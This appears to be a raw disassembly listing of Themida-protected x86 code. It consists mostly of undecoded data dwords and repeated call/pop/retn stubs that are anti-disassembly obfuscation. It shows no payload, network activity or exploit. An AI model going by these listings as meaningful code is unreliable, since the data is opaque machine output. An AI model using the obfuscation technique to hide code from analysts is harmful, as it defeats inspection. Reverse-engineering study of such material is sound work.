		dd 0BFFCECE7h, 6800F1Eh, 8B000000h, 0A8255DB5h,	6A00B006h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0ABA8C355h, 8B302F40h, 0A82CD5BDh, 0A1BD8B06h
		dd 0E606A809h, 6E970h, 79A50000h, 8B23F4h, 0BE6671E4h
		dd 613C5D68h, 252830Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 48DF0CC3h, 88ED4D27h
		dd 0FE9CFDDh, 187h, 0B60FF800h,	55006AD8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0E679C792h
		dd 26CDB58Bh, 6BA06A8h,	8B000000h, 6AC38BFEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0FDEC350h, 6E9h, 0C91A0300h,	8B554051h, 0A81AC5BDh
		dd 4E8C106h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0B4C35040h, 662B9936h, 0D82BE2F7h, 58F7B70Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 73C35242h, 0C20427D9h
		dd 0FD82B73h, 17388h, 198B0F00h, 0E8000000h, 0Dh, 6CAD7160h
		dd 4D0EB058h, 4E830ECEh, 61BD89F5h, 5F06A82Eh, 7B9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0ABC20CFCh, 0C1839392h, 0DBD0300h, 3B06A815h, 1D860FD9h
		dd 81000001h, 0D020EEEFh, 55B58932h, 6606A814h,	0B58BD98Ch
		dd 6A801D1h, 0F04C1F6h,	0DE84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 40F79554h
		dd 37539BFBh, 0F98BFB68h, 68D95FFh, 0DE806A8h, 17000000h
		dd 4E708943h, 7EBF6664h, 7E813A0Fh, 27FD8D89h, 5B5E06A8h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E2C35040h
		dd 0FDD3E278h, 8B1289C5h, 0A82F55BDh, 8BC32B06h, 0A80D99B5h
		dd 8343D06h, 860F0000h,	5Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E7C35545h,	0C2A84729h, 880F93AFh
		dd 5, 3FDF8166h, 1BD89D3h, 0E906A803h, 44h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B2C35343h, 198529C2h
		dd 8B06A808h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0FEBF0F7Bh
; ---------------------------------------------------------------------------


loc_587CB4:				; CODE XREF: sub_5878E0:loc_5878F0j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_587CC3
		and	[edi-3Dh], bl
sub_5878E0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_587CC3	proc near		; CODE XREF: sub_5878E0+3DBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_587CC3	endp

; ---------------------------------------------------------------------------
		sub	bl, [edx]
		or	cl, [ecx-57D5B263h]
		push	es
		mov	dword ptr [ebp+6A80941h], 7FE5A9DFh
		mov	eax, eax
		push	0
		push	edx
		call	sub_587CF3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587CF3	proc near		; CODE XREF: Themida_:00587CEBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_587CF3	endp

; ---------------------------------------------------------------------------
		and	eax, [eax+9E2DE5Eh]
		mov	edi, 1F7AF83h
		cmp	dword ptr [ebp+6A8176Dh], 7D0h
		jnz	loc_587D54
		sbb	edi, 0AAB9B57h
		inc	dword ptr [ebp+6A8176Dh]
		push	0
		push	esi
		call	sub_587D35
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587D35	proc near		; CODE XREF: Themida_:00587D2Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_587D35	endp

; ---------------------------------------------------------------------------
		db 51h,	0C8h, 0E9h
		dd 8, 0F977EB7Eh, 7467BAE7h
; ---------------------------------------------------------------------------


loc_587D54:				; CODE XREF: Themida_:00587D18j
		push	dword ptr [ebp+6A8176Dh]
		push	0
		push	esi
		call	sub_587D65
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587D65	proc near		; CODE XREF: Themida_:00587D5Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_587D65	endp

; ---------------------------------------------------------------------------
		db 6Dh,	31h, 0A8h
; ---------------------------------------------------------------------------
		pushf
		push	esi
		dec	ebp
		cmpsb
		pop	ebp
		mov	esp, 0DE816609h
		mov	bl, 5Bh
		call	dword ptr [ebp+6A81B31h]
		push	0
		push	edi
		call	sub_587D95
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587D95	proc near		; CODE XREF: Themida_:00587D8Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_587D95	endp

; ---------------------------------------------------------------------------
		db 0D1h, 1Ch, 0FEh
		dd 1B8BEC9Ch, 0DDB589DDh, 8106A81Dh, 6704E3D6h,	0BD33905Ch
		dd 6A832ADh, 17EDBD8Bh,	8B6606A8h, 8E9F0h, 95E00000h, 820BC4EBh
		dd 0B5239F99h, 6A80911h, 21959501h, 0E96006A8h,	0Bh, 0C9A0FF60h
		dd 0DFE6FDFh, 8B734DA5h, 860F56C6h, 0
; ---------------------------------------------------------------------------
		pop	eax
		popa
		push	0
		push	ebx
		call	sub_587E09
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587E09	proc near		; CODE XREF: Themida_:00587E01p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_587E09	endp

; ---------------------------------------------------------------------------
		sbb	ebp, [esi+ebp+60h]
		mov	ecx, [ebp+6A806D5h]
		jnp	loc_587E2C
		movsx	esi, bx


loc_587E2C:				; CODE XREF: Themida_:00587E23j
		mov	bh, 9Bh
		movsx	edi, bx
		popa
		push	0
		push	ecx
		call	sub_587E3D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587E3D	proc near		; CODE XREF: Themida_:00587E35p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_587E3D	endp

; ---------------------------------------------------------------------------
		db 35h,	81h, 0F9h
; ---------------------------------------------------------------------------
		jmp	loc_587E62
; ---------------------------------------------------------------------------
		db 0D3h, 0E3h, 0A7h
		dd 122787EFh, 8AEE0C68h
		db 0BBh, 0FCh
; ---------------------------------------------------------------------------


loc_587E62:				; CODE XREF: Themida_:00587E50j
		movsx	esi, cx
		mov	di, bx
		jmp	loc_587E7B
; ---------------------------------------------------------------------------
		dec	esi
		retn
; ---------------------------------------------------------------------------
		db 67h
		dd 3DF788E7h, 22732C56h
		db 16h,	9Ch, 84h
; ---------------------------------------------------------------------------


loc_587E7B:				; CODE XREF: Themida_:00587E68j
		sub	[ebp+6A80E09h],	eax
		adc	si, 6720h
		jb	loc_587E8F
		mov	di, bx


loc_587E8F:				; CODE XREF: Themida_:00587E86j
		push	0
		push	edi
		call	sub_587E9A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587E9A	proc near		; CODE XREF: Themida_:00587E92p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_587E9A	endp

; ---------------------------------------------------------------------------
		dw 7191h
		dd 0DE8738Ch, 0FF000000h, 69A9BE38h, 0DDD051F9h, 0B4C2F707h
		dd 8E853h, 0B58C0000h, 0E426406Ch, 605ED9A8h, 95295F61h
		dd 6A832B9h, 6870F5Eh, 81000000h, 10B201EEh, 0F7CBE92Ch
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 3281A6C3h, 8942C0C6h, 66E10C31h, 7E9F98Bh
		dd 0CB000000h, 6F0CFEEh, 6DBEFA58h, 8914CA48h, 0A81EC58Dh
		dd 89C18B06h, 0A82E0D8Dh, 4EB06h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1506C350h, 0E66F37E0h, 0F38BA1F6h, 3DB58B56h, 5F06A81Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 18C35747h
		dd 0E0C92B55h, 1569BD8Bh, 858D06A8h, 6A83385h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E6C35545h, 19922928h
		dd 30C56DDh, 0A80C3DBDh, 0B1BD8B06h, 5006A834h,	9E9h, 1D137000h
		dd 37BBA32Eh, 4897660h,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0F9B5030Ah, 752DBA95h
		dd 0B58B4B1Ah, 6A80841h, 6AF78B66h, 87E6BE00h, 6A728Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 46C35040h
		dd 8D39EC4Ah, 0ABE70085h, 0AA40BF06h, 0C08347DAh, 4D853105h
		dd 9006A80Fh, 310F5250h, 38C0Fh, 8B660000h, 50585AF2h
		dd 10E990h, 81DF0000h, 0AA412929h, 0CDA16FA8h, 0C5AD80E8h
		dd 6AD479h, 33D18529h, 0B58B06A8h, 6A808E5h, 0F781006Ah
		dd 4A0498B7h, 254195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 1ADD75C3h, 2ED9BD8Bh
		dd 9D8D06A8h, 6AB8C7Fh,	6F99589h, 0D3FF06A8h, 12E8h, 5DD5DB00h
		dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 5F40D2C9h, 64D9D89h
		dd 85FF06A8h, 6A833F1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0F7C35545h, 255CDEF0h, 0B67E54B4h, 418D8902h
		dd 5606A82Eh, 6810Fh, 0BD8B0000h, 6A82CCDh, 799E95Fh, 0E80000h
		dd 5D000000h, 0E70AED81h, 0B53306ABh, 6A810F1h,	176DBD81h
		dd 7D006A8h, 860F0000h,	12Ah, 919BD31h,	9D8B06A8h, 6A8259Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DDC35545h
		dd 0F5E19036h, 100E381h, 49BE0000h, 0B46EF62h, 72850FDBh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7AC1C352h, 8BAF80DAh, 0A832A5BDh
		dd 26BD8306h, 6ABE5h, 13840Fh, 89510000h, 0A80835B5h, 42E95E06h
		dd 8B000000h, 0A81AD5B5h, 2685C706h, 106ABE5h, 50000000h
		dd 6890Fh, 800F0000h, 0
; ---------------------------------------------------------------------------
		pop	esi
		mov	esi, 26020685h
		jmp	loc_5881F5
; ---------------------------------------------------------------------------
		jmp	loc_5881E5
; ---------------------------------------------------------------------------
		dd 36EA7E20h
		db 87h
; ---------------------------------------------------------------------------


loc_5881E5:				; CODE XREF: Themida_:005881DBj
		mov	dword ptr [ebp+6ABE526h], 0
		mov	[ebp+6A80AD1h],	ecx


loc_5881F5:				; CODE XREF: Themida_:005881D6j
		lea	ebx, [ebp+6A8259Dh]
		push	0
		push	ecx
		call	sub_588206
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588206	proc near		; CODE XREF: Themida_:005881FEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_588206	endp

; ---------------------------------------------------------------------------
		dw 2978h
		dd 8F0F1842h, 6, 2A9BD8Bh, 12E806A8h, 31000000h, 3664DE08h
		dd 3893449h, 0EAD71302h, 4A7CF0C5h, 23815F7Ah, 0FFFFFEFFh
		dd 148B0Fh, 8E80000h, 0B6000000h, 0C001864Dh, 8B2105F7h
		dd 0A80E05B5h, 8C665F06h, 56006ADBh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0BA1B9203h
		dd 128E0Fh, 0DE90000h, 0B0000000h, 4B12306Eh, 5CBE75E9h
		dd 0D8643805h, 0F04C3F6h, 5F84h, 95FFF800h, 6A8068Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BC35646h, 0FCC55D59h
		dd 60525090h, 0FE85A53h, 84000000h, 72D06081h, 0E138F886h
		dd 0EDC6C929h, 615EBE93h, 585A310Fh, 90FB8B50h,	0FE9h
		dd 1611AE00h, 1F990281h, 0EC01FA09h, 80ED75BEh,	3B7E9h
		dd 8DBD0B00h, 0B006A802h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 46BDDD56h
		dd 0D195316Ah, 0F06A81Fh, 58Ch,	0D7816600h, 70E685DBh
		dd 5E9h, 33BCDF00h, 71E4D455h, 10E9h, 33CB7D00h, 7FBFED3Ah
		dd 0CB1F4BF8h, 318F2495h, 0D8B60FDAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0CC35747h, 6BA95h, 0B58B0000h
		dd 6A8250Dh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 6408CC3h, 0C1FAB70Fh, 0B58B04E8h
		dd 6A81DB9h, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 2B8FC350h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89B9A8C4h, 0A808E98Dh, 66509306h, 9331F1BFh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F6C35242h, 0D509E067h
		dd 0CE9h, 19812F00h, 0D4437422h, 0EAA99109h, 6DB5FF27h
		dd 6A06A817h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 1327C353h, 728CBA6Ah, 0FFACF80Ah
		dd 0A81B3195h, 0CDBD8B06h, 0B006A815h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0F508EE3Ah, 6DB58B58h, 0F06A82Fh, 8BFF0B7h, 0E6453582h
		dd 0D9BD8B70h, 0E406A82Dh, 7E871h, 518B0000h, 0A1E5D192h
		dd 8DB58B6Bh, 5E06A81Fh, 830F613Ch, 1FCh, 0D810Fh, 8E90000h
		dd 0A9000000h, 0FE583A14h, 0F0CDEA0h, 0BE66D8B6h, 6BAA01Dh
		dd 8B000000h, 0A81519BDh, 6AC38B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E86AC355h
		dd 8D5C4687h, 0BF0F2CDCh, 4E8C1FEh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0B2C35545h,	3083D80Ch, 0DC147BD1h
		dd 0FA8B6625h, 31E2F766h, 0A82C719Dh, 0BFD82B06h, 7B1A9175h
		dd 0D9816058h, 0C2E8179h, 11E8h, 8D384400h, 8720FFE0h
		dd 83B6114Eh, 7A775676h, 0AE970B0h, 5C000000h, 9E000C1Ah
		dd 474CD75h, 2B615F39h,	3D880FD8h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 409CC352h, 0E6040BF6h, 0C5BD890Dh, 0B906A82Eh, 7, 0AE9h
		dd 0B2802700h, 56432EFDh, 8328EE1Ah, 6A00C1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A68A7BC3h
		dd 37C6819Ch, 661C3BA7h, 3BA362BEh, 0CD860FD9h,	8B000000h
		dd 0A81F51BDh, 0D98C6606h, 0D628BF66h, 4FA6BE66h, 0F04C1F6h
		dd 8684h, 0BD8B6000h, 6A829BDh,	8D95FF61h, 8B06A806h, 0A82AF9B5h
		dd 0BD8B5B06h, 6A80F31h, 94BEC32Bh, 3D57ECC3h, 834h, 59860Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0F5ECC6C3h, 0BF2F5534h, 1A75BD89h, 0B53306A8h
		dd 6A82CA9h, 53E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1EB4D78Dh, 2FB09F33h
		dd 8BFEBF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0EC230749h, 8F0FA640h, 3,	0FCF88B66h
		dd 0D88BC38Bh, 0E8F28B66h, 14h,	68F1539Dh, 0BC7C42E5h
		dd 0AE9F63Eh, 16FD2A8Dh, 8DCA4B85h, 0F65BD89h, 0C75E06A8h
		dd 0A8324D85h, 0E19F7D06h, 57006A72h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4181C7AAh
		dd 29B95A52h, 0A80779B5h, 0F28B6606h, 15BEC08Bh, 6659639Ah
		dd 0BD81F88Bh, 6A8176Dh, 7D0h, 3F850Fh,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0CB823DC3h, 0CBF50D4Eh, 0AE9F9ABh, 4B000000h, 0EBFBF09Ah
		dd 8AA81F72h, 6D85FF55h, 8B06A817h, 0A80FD1BDh,	6DB5FF06h
		dd 6606A817h, 95FFF08Bh, 6A81B31h, 40D359BFh, 6A9065h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0DE068EC3h, 42CBE61Ah, 57006AF2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0E67B9B63h
		dd 0BD8B238Ah, 6A82991h, 0B25B58Bh, 6A06A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B589A0C3h
		dd 6A828C9h, 0B117F681h, 6A1238h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 4349AFC3h, 2E61BD8Bh
		dd 0BD3306A8h, 6A8055Dh, 39800Fh, 0AE90000h, 28000000h
		dd 7249CC4Eh, 24910A25h, 8F0F604Bh, 0
; ---------------------------------------------------------------------------
		sub	[ebp+6A8091Dh],	edx
		jmp	loc_588862
; ---------------------------------------------------------------------------
		db 0A1h
		dd 663CC5EEh, 0E55A3607h, 9500E97Ch, 747E228Bh
		db 0FFh, 14h
; ---------------------------------------------------------------------------


loc_588862:				; CODE XREF: Themida_:0058884Aj
		mov	si, 0D7D2h
		popa
		mov	[ebp+6A810DDh],	ecx
		push	0
		push	ebx
		call	sub_588878
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588878	proc near		; CODE XREF: Themida_:00588870p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_588878	endp

; ---------------------------------------------------------------------------
		dd 0F28B66E3h, 0FFF881E9h, 4EBF66FFh, 0DE815174h, 0E40A913h
		dd 9D952960h, 3106A832h, 0A80515B5h, 8B5F6106h,	57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0EF815E5Ch, 445E5A5Fh, 4EBh,	0BD890000h, 6A82BD5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 74C35343h, 25605CABh
		dd 0CE9h, 0C4C50600h, 0F4F167BDh, 236D813Bh, 79B58912h
		dd 8D06A807h, 0A8338585h, 0C5853106h, 5006A814h, 7576B6BFh
		dd 2404892Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	7AC35242h, 6A3FF7h, 6860Fh, 0DF810000h,	7315251Fh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0C2433AC3h, 0F1EE8108h, 8D615211h, 0ABF06E85h
		dd 10E906h, 0DE130000h,	0EDDCDC9Dh, 0B45F0641h,	0CC391406h
		dd 0C083A922h, 0E1D68105h, 906985C2h, 6800F57h,	0F000000h
		dd 8Ch,	0E9505E00h, 0Fh, 0ACDF109Dh, 40E29F95h,	81EEE5FCh
		dd 90F468AAh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	0F8C35141h, 0D2376DADh,	285E826Eh, 6AF571h, 2D79B58Bh
		dd 6A06A8h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 16h,	9CC35646h, 0B58BD7CCh, 6A80D99h, 254195FFh, 850F06A8h
		dd 15h,	10E9h, 0CC32D700h, 0FD56CC8Dh, 29FCE46Ah, 0E8F5BDEh
		dd 7F9D8DB2h, 6A06AB8Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0FA49C353h,	8B811541h
		dd 29D3FFF3h, 0A82A8595h, 0D9B58906h, 0FF06A829h, 0A833F185h
		dd 0D18D8906h, 0E906A800h, 860h, 0E8h, 0ED815D00h, 6ABF078h
		dd 7E9h, 65456B00h, 0C9D8A2ECh,	176DBD81h, 7D006A8h, 860F0000h
		dd 13Ch, 60F1BF0Fh, 1AE5B529h, 61F906A8h, 1ED9D8Bh, 6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 80364DC3h, 4725C1EBh, 0E381F9h, 0F8000001h, 0A4CF8166h
		dd 0FDB0B74h, 6085h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 2D97AB2Dh, 99B58B90h
		dd 0F506A828h, 0EEC5BD83h, 0F0006ABh, 0B84h, 4FE900h, 0C6810000h
		dd 6122DBEAh, 0EEC585C7h, 106ABh, 870F0000h, 6,	1D7D8D29h
		dd 2EE906A8h, 8B000000h, 0A800A5BDh, 0C585C706h, 6ABEEh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 82D4C356h, 0ED9D8DBCh,	6A06A801h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0C7F2C356h, 5CD5F819h, 0BEF15CEAh, 4BEF591Eh
		dd 5E9h, 27070D00h, 0BE665792h,	2381F13Ah, 0FFFFFEFFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 9AC35242h
		dd 9393B073h, 2E21B589h, 0F88B06A8h, 6ADB8C66h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0E5AC355h, 9589F157h, 6A83109h, 0F04C3F6h, 0B384h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0D061A3DCh, 4F34D70Dh, 8D95FFA8h, 6A06A806h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E9F2C357h, 12h, 77F89B82h, 58E5BEDCh, 8ABE7B93h, 5CA403EBh
		dd 11E8BF6Bh, 5A000000h, 0C3AF073h, 0DCA64A20h,	8F18521Fh
		dd 0FB5D5FE5h, 5250905Eh, 5870Fh, 0A0BF0000h, 0F133418h
		dd 8FBE6631h, 50585A6Ch, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0F2722432h, 0BAC803AFh
		dd 0F9FE8B66h, 3EAE9h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0E2279755h, 0FD3E278h
		dd 685h, 0CDB58B00h, 0B006A80Fh, 758D2900h, 0E606A833h
		dd 52006A70h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 9E3D6FB4h, 0E9FD7BE8h, 0Ah, 8596DF3Ah, 0A61D1BCBh
		dd 71E49BADh, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 516EC353h, 0BF6657F9h
		dd 0BA5FD313h, 6, 31899D29h, 0C38B06A8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 29C35646h, 0A8F0F51h
		dd 0E9000000h, 5, 17ABAD36h, 0E8C15E1Ch, 0E9BD3304h, 6606A80Dh
		dd 0B52BE2F7h, 6A80E65h, 0E681D82Bh, 2D68B36Dh,	241C8950h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B4C35040h
		dd 0C76D3D4Ch, 1E40349Ah, 0F5BD2367h, 0F906A813h, 176DB5FFh
		dd 0FFF806A8h, 0A81B3195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0BE66526Eh
		dd 0B05E9F7Eh, 14E900h,	2A220000h, 5548FD3Ch, 0BEE2659Bh
		dd 12958193h, 7CF8BAFEh, 70E6F332h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 6EC35343h, 0FC558B76h, 3216F28h
		dd 9E9h, 23619400h, 34A4DBA6h, 71E4DF7Ah, 66F9B70Fh, 613CFB8Bh
		dd 245830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 60DEACC3h, 0BF66E357h, 0B60FD969h
		dd 56006AD8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8EDB4017h, 6E94F74h, 54000000h, 3EE50CF5h
		dd 9151BF7Dh, 0B5012A4Eh, 6A802A9h, 6BAh, 0EE800h, 0F7440000h
		dd 0EEAE6159h, 16AAEF74h, 0DA7CE054h, 0C38B5FFCh, 1565BD2Bh
		dd 0E8C106A8h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 9F4766FCh, 759DE164h
		dd 0F766410Ah, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0BA85651h, 0B70FA786h
		dd 0F5D82BF9h, 51006A58h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0F1B4B07Eh, 0E5B58B8Bh
		dd 8906A821h, 0A81AA1BDh, 0FD82B06h, 13E88h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 4716EF90h, 0AAEB53CFh, 7DB503BAh, 8906A825h,	0A82EF595h
		dd 7B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8B8BCAC3h, 0C183F0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 810909Fh
		dd 0D20A6C77h, 80F960C3h, 3B617DE6h, 0B4860FD9h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 570CC350h, 9B58B56h, 5F06A811h, 0D98C665Fh
		dd 8DDE8166h, 4C1F669h,	75840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C47B21C3h
		dd 82A1EA9Bh, 0FFEA3B47h, 0A8068D95h, 0F9BD2B06h, 5B06A81Eh
		dd 287AF781h, 0C32B7A0Ch, 34B5B523h, 343D06A8h,	0F000008h
		dd 2A86h, 2DE900h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 850F41C3h, 3, 8BF6B70Fh, 62F681C0h, 8B29FB40h
		dd 6AD88BC3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 13AFC350h, 0C56A6452h,	0C7964A70h
		dd 0A8259D85h, 38911106h, 158D295Dh, 8B06A816h,	51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0CF5E938Dh, 0BE071E60h, 0BD81CEFEh, 6A8176Dh, 7D0h
		dd 12850Fh, 0B5330000h,	6A8091Dh, 176D85FFh, 0BD8B06A8h
		dd 6A816BDh, 176DB5FFh,	6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0D72E1C3h, 0A5A902F1h
		dd 3195FFA1h, 6A06A81Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 57F0C351h, 5112CDF3h
